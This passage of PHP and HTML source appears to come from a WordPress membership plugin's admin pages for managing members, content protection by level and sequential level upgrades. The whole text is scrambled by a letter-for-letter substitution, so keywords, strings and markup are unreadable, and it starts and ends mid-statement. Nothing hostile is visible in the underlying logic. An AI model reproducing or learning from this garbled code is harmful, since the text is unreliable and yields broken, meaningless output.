SDoBFmB = Smyxn-QzmUDoBFmB()U xA (SDoBFmB == P || Vxn_sltBoxD(SDoBFmB)) { SsBjlnBo = molBU } } WQzmUY      QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyU jxCmy:GPPqiUQplrmUQzmUY         QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmU3BtEBonQplrmU)U WQzmUYY         QumUyM DuFnn=QplrmUsFk-mFE-joFqqBoQplrmUQzmUY            QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUtBtEBonQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-tBtEBonQFtqUtBtEBozBsxln_FDmxrs=tBtEBonQplrmUQzmU3FsFzB 3BtEBon (QumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm()U WQzmU)QumU/FQzmUY            QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUxsDrtquBmBQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-tBtEBonQFtqUtBtEBozBsxln_FDmxrs=xsDrtquBmBQplrmUQzmU7sDrtquBmB 	BzxnmoFmxrsn (QumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqdrlsm()U WQzmU)QumU/FQzmUY            QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUBiqromQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-tBtEBonQFtqUtBtEBozBsxln_FDmxrs=BiqromQplrmUQzmUbiqromQumU/FQzmUY         QumU/yMQzmUYY         QumUWqyqY xA (Smyxn-QzmUFDmxkFmxrs-QzmUvBh V= sluu) { xA (SsBjlnBo) { Smyxn-QzmUoBzxnmBo()U } BunBxA (SFDmxrs == QplrmUtBtEBonQplrmU) { Smyxn-QzmUtBsl_tBtEBon_uxnm(StBnnFzB, StBnnFzB4BkBun)U } BunBxA (SFDmxrs == QplrmUxsDrtquBmBQplrmU) { Smyxn-QzmUtBsl_tBtEBon_mBtq()U } BunBxA (SFDmxrs == QplrmUBiqromQplrmU) { Smyxn-QzmUtBsl_tBtEBon_Biqrom()U } } WQzmUY      QumU/CxkQzmUY   QumUWqyqY } qlEuxD AlsDmxrs tBsl_DrsmBsm() { zurEFu StBtEBozBsxlnU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SDlooBsm4BkBu = -OU xA (xnnBm(S_	b&;b$#[QplrmUuQplrmU])) { SDlooBsm4BkBu = xsmkFu(S_	b&;b$#[QplrmUuQplrmU])U } BunBxA (xnnBm(S_	b&;b$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { SDlooBsm4BkBu = xsmkFu(S_	b&;b$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])U } BunBxA (SAxonm4BkBu = oBnBm(SuBkBun)) { SDlooBsm4BkBu = SAxonm4BkBu-QzmU7cU } SDlooBsm4BkBu2FtB = QplrmUQplrmUU xA (SDlooBsm4BkBu QzmU P QFtqUQFtqU xnnBm(SuBkBun[SDlooBsm4BkBu]) QFtqUQFtqU xnnBm(SuBkBun[SDlooBsm4BkBu]-QzmUuBkBu_sFtB)) { SDlooBsm4BkBu2FtB = SuBkBun[SDlooBsm4BkBu]-QzmUuBkBu_sFtBU } SuBkBu7sAr = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu(SDlooBsm4BkBu)U SnFkB4BkBu = sluuU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nFkBQplrmU])) { SnFkB4BkBu = xsmkFu(S_01$#[QplrmUtBtEBozBsxln_nFkBQplrmU])U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_qrnmnQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_qrnmnQplrmU]) QFtqUQFtqU SnFkB4BkBu V== sluu) { AroBFDy (FooFh_vBhn(S_01$#[QplrmUtBtEBozBsxln_qrnmnQplrmU]) Fn Sqrnm) { Sqrnm = xsmkFu(Sqrnm)U xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_DyBDvBCQplrmU][Sqrnm])) { StBtEBozBsxln-QzmUtrCBu-QzmUqormBDm(Sqrnm, SnFkB4BkBu)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUlsqormBDm(Sqrnm, SnFkB4BkBu)U } } } SFDmxrs = QplrmUqrnmnQplrmUU xA (xnnBm(S_	b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU])) { SFDmxrs = S_	b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU]U } xA (SFDmxrs == QplrmUqrnmnQplrmU) { Sqrnmn = zBm_qrnmn(QplrmUqrnmn_qBo_qFzB=-OQplrmU)U } BunBxA (SFDmxrs == QplrmUqFzBnQplrmU) { Sqrnmn = zBm_qFzBn(QplrmUqrnmn_qBo_qFzB=-OQplrmU)U } SqrnmfDDBnn = StBtEBozBsxln-QzmUtrCBu-QzmUzBm0rnmfDDBnn(SDlooBsm4BkBu)U SFuu4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U WQzmUY      QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUYY      QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmUdrsmBsmQplrmU)U WQzmUYY      QumUyM DuFnn=QplrmUsFk-mFE-joFqqBoQplrmUQzmUY         QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUqrnmnQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-DrsmBsmQFtqUtBtEBozBsxln_FDmxrs=qrnmnQFtqUtBtEBozBsxln_uBkBu=QumUWqyq BDyr SDlooBsm4BkBuU WQzmUQplrmUQzmU0rnmnQumU/FQzmUY         QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUqFzBnQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-DrsmBsmQFtqUtBtEBozBsxln_FDmxrs=qFzBnQFtqUtBtEBozBsxln_uBkBu=QumUWqyq BDyr SDlooBsm4BkBuU WQzmUQplrmUQzmU0FzBnQumU/FQzmUY      QumU/yMQzmUYY      QumUWqyq xA (SFDmxrs == QplrmUqrnmnQplrmU): WQzmUQumUyMQzmU3FsFzB 0rnmnQumU/yMQzmUQumUWqyq BsCxAU WQzmUY      QumUWqyq xA (SFDmxrs == QplrmUqFzBnQplrmU): WQzmUQumUyMQzmU3FsFzB 0FzBnQumU/yMQzmUQumUWqyq BsCxAU WQzmUYY      QumUqQzmUdyrrnB jyxDy DrsmBsm xn nyrjs mr myB BkBohrsB, FsC jyxDy xn nyrjs mr tBtEBon rsuh xs myB 0ormBDmxrs tBsl.QumUEo /QzmU 7A F Eri xn DyBDvBC xs 0ormBDmxrs, myFm tBFsn xm xn qormBDmBC FsC kxBjFEuB mr tBtEBon rsuh.QumU/qQzmUYY      QumUqQzmU#yBs DyrrnB rsB rA hrlo tBtEBonyxq uBkBun mr Fnnxzs myFm qrnm ro qFzB mr myFm uBkBu.QumU/qQzmUY      Y      QumUqQzmUaro BiFtquB, xA F qrnm xn 21# DyBDvBC Aro myB aluu uBkBu, myBs F lnBo rs myB aluu uBkBu CrBn srm yFkB FDDBnn mr xm.QumUEo /QzmU 7A F DyBDvEri Aro F qrnm 7$ DyBDvBC, myBs Fsh lnBo rs myB aluu uBkBu jxuu EB FEuB mr nBB xm.QumU/qQzmUYY      QumUqQzmU7A F Eri DFssrm EB lsDyBDvBC (xm xn zoFhBC rlm) myFm tBFsn myFm myB uBkBu yFn EBBs nBm mr yFkB FDDBnn mr f44 DrsmBsm.QumUEo /QzmU QumUWqyq BDyr Dyo(HG)U WQzmUrl DFs zr EFDv mr myB 4BkBun mFE, lsDyBDv QFtqUplrmUfuu 0rnmn QFtqUFtqU 0FzBnQFtqUplrmU myBs oBmlos yBoB mr Drsmoru FDDBnn Aro myFm qrnm FsC uBkBu.QumU/qQzmUYY      QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUYY      QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_nFkBQplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SDlooBsm4BkBu)U WQzmUQplrmU /QzmUYY      QumUyMQzmU3FsFzB fDDBnnQumUWqyq xA (SDlooBsm4BkBu2FtB) { BDyr QplrmU (QplrmU . ymtuBsmxmxBn(SDlooBsm4BkBu2FtB) . QplrmU)QplrmUU } WQzmUQumU/yMQzmUYY      QumUqQzmUdyrrnB F 3BtEBonyxq 4BkBu: YY      QumUF QumUWqyq xA (-O == SDlooBsm4BkBu): WQzmUnmhuB=QplrmUArsm-jBxzym:EruCU Druro:oBCUQplrmUQumUWqyq BsCxAU WQzmUyoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQplrmU) . QplrmUQFtqUu=-OQplrmUU WQzmUQplrmUQzmU0ormBDmxrsQumU/FQzmU QFtqUsEnqUQFtqUsEnqUY      QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY      QumUF QumUWqyq xA (xn_sltBoxD(SDlooBsm4BkBu) QFtqUQFtqU SuBkBu-QzmU7c == SDlooBsm4BkBu): WQzmUnmhuB=QplrmUArsm-jBxzym:EruCU Druro:oBCUQplrmUQumUWqyq BsCxAU WQzmU yoBA=QplrmUQumUWqyqY BDyr Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQplrmU) . QplrmUQFtqUu=QplrmU.xsmkFu(SuBkBu-QzmU7c) . QplrmUQFtqUtBtEBozBsxln_FDmxrs=QplrmU.SFDmxrs U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/FQzmU QFtqUsEnqUQFtqUsEnqUY      QumUWqyq BsCAroBFDyU WQzmU      Y      QumU/qQzmUYY      QumUWqyq xA (SDlooBsm4BkBu2FtB): WQzmUQumUqQzmUQumUF yoBA=QplrmUQumUWqyq BDyr FCtxs_lou(QplrmUqrnm-sBj.qyqWqrnm_mhqB=QplrmU.((SFDmxrs==QplrmUqrnmnQplrmU)WQplrmUqrnmQplrmU:QplrmUqFzBQplrmU).QplrmUQFtqUtBtEBozBsxln_sBj=QplrmU.SDlooBsm4BkBu)U WQzmUQplrmU DuFnn=QplrmUFCC-sBj-yNQplrmU nmhuB=QplrmUmrq:PqiUQplrmUQzmUfCC 2Bj QumUWqyq BDyr ((SFDmxrs == QplrmUqrnmnQplrmU) W QTPMGU0rnmQTPMGU : QTPMGU0FzBQTPMGU)U WQzmU rs QFtqUplrmUQumUWqyq BDyr SDlooBsm4BkBu2FtBU WQzmUQFtqUplrmU 4BkBuQumU/FQzmUQumU/qQzmUQumUWqyq BsCxAU WQzmUYY      QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:KPPqiUQplrmUQzmUY      QumUmyBFCQzmUY      QumUmoQzmUY         QumUmy srjoFq=QplrmUQplrmU nDrqB=QplrmUDruQplrmU DuFnn=QplrmUDyBDv-DrultsQplrmU nmhuB=QplrmUjyxmB-nqFDB:srjoFqQplrmUQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmUQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:OPPqiUQplrmUQzmUcFmBQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmUQzmU#xmuBQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmUQzmU4BkBunQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:OPPqiUQplrmUQzmU$mFmlnQumU/myQzmUY      QumU/moQzmUY      QumU/myBFCQzmUYY      QumUmErChQzmUY      QumUWqyq AroBFDy (Sqrnmn Fn Sqrnm): WQzmUY      QumUWqyq xA (Sqrnm-QzmUqrnm_sFtB == QplrmUjxnyuxnm-tBtEBoQplrmU || Sqrnm-QzmUqrnm_sFtB == QplrmUtBtEBozBsxlnQplrmU) { DrsmxslBU } WQzmUY      QumUWqyqY SDyBDvBC = xs_FooFh(Sqrnm-QzmU7c, SqrnmfDDBnn)U SCxnFEuBC = AFunBU xA (SDlooBsm4BkBu == -O) { SDyBDvBC = VSDyBDvBCU } xA (xnnBm(SuBkBu7sAr-QzmUuBkBu_Fuu) QFtqUQFtqU SuBkBu7sAr-QzmUuBkBu_Fuu == O) { SDyBDvBC = molBU SCxnFEuBC = molBU } SCxnFEuBC = SCxnFEuBC || (xnnBm(SuBkBu7sAr-QzmUuBkBu_qFzB_urzxs) QFtqUQFtqU SuBkBu7sAr-QzmUuBkBu_qFzB_urzxs QFtqUQFtqU Sqrnm-QzmU7c == SuBkBu7sAr-QzmUuBkBu_qFzB_urzxs)U SCxnFEuBC = SCxnFEuBC || (xnnBm(SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo) QFtqUQFtqU SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo QFtqUQFtqU Sqrnm-QzmU7c == SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo)U WQzmUY      QumUWqyqY WQzmUY      QumUmo DuFnn=QplrmUFumBosFmB tBtEBo-orjQplrmUQzmUY         QumUmy nDrqB=QplrmUorjQplrmU DuFnn=QplrmUDyBDv-DrultsQplrmUQzmUY            QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_qrnmn[QumUWqyq BDyr xsmkFu(Sqrnm-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUOQplrmU /QzmUY            QumUxsqlm mhqB=QplrmUDyBDvEriQplrmU QumUWqyq xA (SCxnFEuBC): WQzmUCxnFEuBC=QplrmUCxnFEuBCQplrmUQumUWqyq BsCxAU WQzmU QumUWqyq xA (SDyBDvBC): WQzmUDyBDvBC=QplrmUDyBDvBCQplrmUQumUWqyq BsCxAU WQzmU sFtB=QplrmUtBtEBozBsxln_DyBDvBC[QumUWqyq BDyr xsmkFu(Sqrnm-QzmU7c)U WQzmU]QplrmU xC=QplrmUtBtEBozBsxln_DyBDvBC[QumUWqyq BDyr xsmkFu(Sqrnm-QzmU7c)U WQzmU]QplrmU /QzmUY         QumU/myQzmUY         QumUmCQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_DyBDvBC[QumUWqyq BDyr xsmkFu(Sqrnm-QzmU7c)U WQzmU]QplrmUQzmUQumUWqyq BDyr CFmB(QplrmUt/C/QplrmU.Dyo(HG), nmomrmxtB(Sqrnm-QzmUqrnm_CFmB))U WQzmUQumU/uFEBuQzmUQumU/mCQzmUY         QumUmCQzmUQumUF yoBA=QplrmUQumUWqyq BDyr zBm_BCxm_qrnm_uxsv(Sqrnm-QzmU7c)U WQzmUQplrmUQzmUQumUEQzmUQumUWqyq BDyr ymtuBsmxmxBn(Sqrnm-QzmUqrnm_mxmuB)U WQzmUQumU/EQzmUQumU/FQzmUQumU/mCQzmUY         QumUmCQzmUY         QumUWqyqY SuBkBu4xsvn = FooFh()U AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBunaort0rnm(Sqrnm-QzmU7c) Fn SuBkBufDDBnn =QzmU SuBkBu2FtB) { xA (VxnnBm(SFuu4BkBun[SuBkBufDDBnn])) { DrsmxslBU } SqormBDmBC = StBtEBozBsxln-QzmUtrCBu-QzmUxn0ormBDmBC(Sqrnm-QzmU7c)U xA (SqormBDmBC) { xA (SuBkBu2FtB) { SuBkBu4xsvn[] = QTPMGUQumUF yoBA=QplrmUQTPMGU.Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU).QTPMGUQplrmUQzmUQTPMGU.ymtuBsmxmxBn(SuBkBu2FtB).QTPMGUQumU/FQzmUQTPMGUU } } BunB { SuBkBu4xsvn[] = QplrmUQumUxQzmUbkBohrsBQumU/xQzmUQplrmUU EoBFvU } } WQzmUY         QumUWqyq BDyr xtqurCB(QplrmU, QplrmU, SuBkBu4xsvn)U WQzmUY         QumU/mCQzmUY         QumUmCQzmUY            QumUWqyq xA (Sqrnm-QzmUqrnm_nmFmln == QplrmUqlEuxnyQplrmU): WQzmU0lEuxnyBCY            QumUWqyq BunBxA (Sqrnm-QzmUqrnm_nmFmln == QplrmUqBsCxszQplrmU): WQzmU0BsCxszY            QumUWqyq BunBxA (Sqrnm-QzmUqrnm_nmFmln == QplrmUCoFAmQplrmU): WQzmUcoFAmY            QumUWqyq BunBxA (Sqrnm-QzmUqrnm_nmFmln == QplrmUAlmloBQplrmU): WQzmU$DyBCluBCY            QumUWqyq BunBxA (Sqrnm-QzmUqrnm_nmFmln == QplrmUqoxkFmBQplrmU): WQzmU0oxkFmBY            QumUWqyq BsCxAU WQzmUY         QumU/mCQzmUY      QumU/moQzmUY      QumUWqyq BsCAroBFDyU WQzmUY      QumU/mErChQzmUY      QumU/mFEuBQzmUYY      QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmUQumU/qQzmUYY      QumU/ArotQzmUYY      QumU/CxkQzmUY      QumUWqyqY } qlEuxD AlsDmxrs tBsl_uBkBun() { zurEFu StBtEBozBsxlnU SFDmxrs = (xnnBm(S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU])) W S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] : QplrmUuBkBunQplrmUU WQzmUY      QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUY      QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmU4BkBunQplrmU)U WQzmUYY      QumUyM DuFnn=QplrmUsFk-mFE-joFqqBoQplrmUQzmUY         QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUuBkBunQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-uBkBunQFtqUtBtEBozBsxln_FDmxrs=uBkBunQplrmUQzmU3FsFzB 4BkBunQumU/FQzmUY         QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUoBzxnmoFmxrsQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-uBkBunQFtqUtBtEBozBsxln_FDmxrs=oBzxnmoFmxrsQplrmUQzmU	BzxnmoFmxrs 0FzBQumU/FQzmUY         QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUlqzoFCBQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-uBkBunQFtqUtBtEBozBsxln_FDmxrs=lqzoFCBQplrmUQzmU$BplBsmxFu ;qzoFCBQumU/FQzmUY      QumU/yMQzmUYY      QumUWqyqY xA (SFDmxrs == QplrmUuBkBunQplrmU) { Smyxn-QzmUtBsl_uBkBun_uxnm()U } BunBxA (SFDmxrs == QplrmUoBzxnmoFmxrsQplrmU) { Smyxn-QzmUtBsl_uBkBun_oBzxnmoFmxrs()U } BunBxA (SFDmxrs == QplrmUlqzoFCBQplrmU) { Smyxn-QzmUtBsl_uBkBun_lqzoFCB()U } WQzmUY   QumUWqyqY } qlEuxD AlsDmxrs tBsl_uBkBun_lqzoFCB() { zurEFu StBtEBozBsxlnU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SDyFszB = AFunBU jq_BsplBlB_nDoxqm(QTPMGUwplBohQTPMGU)U jq_BsplBlB_nDoxqm(QTPMGUwplBoh-lx-CFmBqxDvBoQTPMGU)U jq_BsplBlB_nmhuB(QTPMGUwplBoh-nmhuBQTPMGU, QTPMGU//FwFi.zrrzuBFqxn.Drt/FwFi/uxEn/wplBohlx/O.H.N/myBtBn/ntrrmysBnn/wplBoh-lx.DnnQTPMGU)U WQzmUY      QumUyMQzmU$BplBsmxFu ;qzoFCBQumU/yMQzmUYY      QumUqQzmUQFtqUplrmUcoxqQFtqUplrmU hrlo DrsmBsm Eh FCCxsz oluBn jyBoB tBtEBon FoB FCCBC ro trkBC mr rmyBo uBkBun FAmBo F CBuFh.QumU/qQzmUYY      QumUqQzmUaro BiFtquB, hrl DrluC DoBFmB 4BkBun DFuuBC 4BkBu O, 4BkBu N, FsC 4BkBu M. 0ormBDm hrlo qFzBn FsC qrnmn jxmyxs myrnB trCluBn. #yBs nBm F tBtEBo jyrQTPMGUn xs 4BkBu N Aro OP CFhn, mr myBs FCC mr 4BkBu M.QumU/qQzmUYY      QumUqQzmU?yBs nBmmxsz myB CBuFh EBurj (x.B. FCC tBtEBon rs 4BkBu N mr 4BkBu M FAmBo OP CFhn), myB sltEBo xn 124QumUWqyq BDyr Dyo(HG)U WQzmU myB sltEBo rA CFhn myFm tBtEBo yFn EBBs rs myB qoBkxrln uBkBu.QumUEo /QzmU      Y      aro BiFtquB, hrl DFs nBm F oluB EBurj mr lqzoFCB F tBtEBo Aort 4BkBu O mr 4BkBu N FAmBo OP CFhn.QumUEo /QzmUY      #yBs nBm myBt mr lqzoFCB Aort 4BkBu N mr 4BkBu M FAmBo OP CFhn f9f72, jyxDy tBFsn myFm FAmBo NP CFhn rA mrmFu tBtEBonyxq, myBh tFvB xm mr 4BkBu M.QumU/qQzmUYY      QumUWqyqY xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_uBkBuQplrmU])) { SFDmxrsn = S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_FDmxrsQplrmU]U SlqzoFCBn = S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_uBkBuQplrmU]U SlqzoFCB = PU AroBFDy (S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_uBkBuQplrmU] Fn SlqzoFCBaort =QzmU SlqzoFCB#r) { SqoBkxrln4BkBu = S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_uBkBu_qoBkxrlnQplrmU][SlqzoFCBaort]U SqoBkxrlnfDmxrs = S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_uBkBu_qoBkxrlnQplrmU][SlqzoFCBaort]U SqoBkxrlncBuFh = @xsmkFu(S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_CBuFh_qoBkxrlnQplrmU][SlqzoFCBaort])U SqoBkxrlncFmB = @xsmkFu(S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_CFmB_qoBkxrlnQplrmU][SlqzoFCBaort])U SnDyBCluB = S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_nDyBCluBQplrmU][SlqzoFCBaort]U SFDmxrs = sluuU xA (xnnBm(SFDmxrsn[SlqzoFCBaort])) { SFDmxrs = SFDmxrsn[SlqzoFCBaort]U } SCBuFh = PU xA (SnDyBCluB == QplrmUFAmBoQplrmU) { SCBuFh = @xsmkFu(S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_FAmBoQplrmU][SlqzoFCBaort])U } SCFmB = sluuU xA (SnDyBCluB == QplrmUCFmBQplrmU) { SCFmB = @xsmkFu(S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_CFmBQplrmU][SlqzoFCBaort])/OPPPU } BunB { SCFmB = sluuU } xA (SqoBkxrln4BkBu == SlqzoFCB#r QFtqUQFtqU SqoBkxrlnfDmxrs == SFDmxrs QFtqUQFtqU SqoBkxrlncBuFh == SCBuFh QFtqUQFtqU SqoBkxrlncFmB == SCFmB) { DrsmxslBU } xA (SlqzoFCB#r == P || VSFDmxrs) { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUFCCQplrmU, sluu)U StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUtrkBQplrmU, sluu)U StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUlqzoFCBQplrmU, sluu)U StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUCBuFhQplrmU, sluu)U SDyFszB = molBU DrsmxslBU } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUCFmBcBuFhQplrmU, SCFmB)U xA (SFDmxrs == QplrmUFCCQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUFCCQplrmU, SlqzoFCB#r)U StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUtrkBQplrmU, sluu)U SDyFszB = molBU } BunBxA (SFDmxrs == QplrmUtrkBQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUFCCQplrmU, sluu)U StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUtrkBQplrmU, SlqzoFCB#r)U SDyFszB = molBU } StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUCBuFhQplrmU, SCBuFh)U } } } WQzmUY      QumUWqyq xA (SDyFszB): WQzmUQumUCxk DuFnn=QplrmUlqCFmBCQplrmUQzmUdyFszBn nFkBC.QumU/CxkQzmUQumUWqyq BsCxAU WQzmUY      QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUY      QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY      QumUmyBFCQzmUY         QumUmoQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:NPPqiUQplrmUQzmUQumUsrEoQzmU3BtEBonyxq 4BkBuQumU/srEoQzmUQumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:NPPqiUQplrmU Fuxzs=QplrmUDBsmBoQplrmU jxCmy=QplrmUOPPQplrmUQzmUQumUsrEoQzmU?yBs F 3BtEBo 6rxsn 4BkBuQumU/srEoQzmUQumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:NPPqiUQplrmUQzmU;qzoFCB #r 4BkBuQumU/myQzmUY            QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:NPPqiUQplrmUQzmU$DyBCluBQumU/myQzmUY         QumU/moQzmUY      QumU/myBFCQzmUYY      QumUmErChQzmUY      QumUWqyq Sx = PU WQzmUY      QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY      QumUWqyq xA (Sx++ % N == P): WQzmUQumUmo DuFnn=QplrmUFumBosFmBQplrmUQzmUQumUWqyq BunB: WQzmUQumUmoQzmUQumUWqyq BsCxAU WQzmUYY      QumUWqyqY SFDmxrs!FulB = QplrmUQplrmUU xA (SFDmxrsfCC = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUFCCQplrmU)) { SFDmxrs3BmyrC = QplrmUFCCQplrmUU SFDmxrs!FulB = SFDmxrsfCCU } BunBxA (SFDmxrs3rkB = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUtrkBQplrmU)) { SFDmxrs3BmyrC = QplrmUtrkBQplrmUU SFDmxrs!FulB = SFDmxrs3rkBU } BunB { SFDmxrs3BmyrC = QplrmUQplrmUU } SnDyBCluB = sluuU SFDmxrscFmB = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUCFmBcBuFhQplrmU)U xA (SFDmxrscFmB) { SnDyBCluB = QplrmUCFmBQplrmUU } xA (VSFDmxrscFmB) { SFDmxrscFmB = PU } SFDmxrscBuFh = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUCBuFhQplrmU))U xA (VSnDyBCluB QFtqUQFtqU SFDmxrscBuFh QzmU P) { SnDyBCluB = QplrmUCFhQplrmUU } xA (VSnDyBCluB) { SnDyBCluB = QplrmUxsnmFsmQplrmUU } SuBkBu4xsv = FCC_plBoh_Foz(FooFh(QTPMGUqFzBQTPMGU =QzmU qulzxs_EFnBsFtB(__a74b__).QTPMGU-uBkBunQTPMGU, 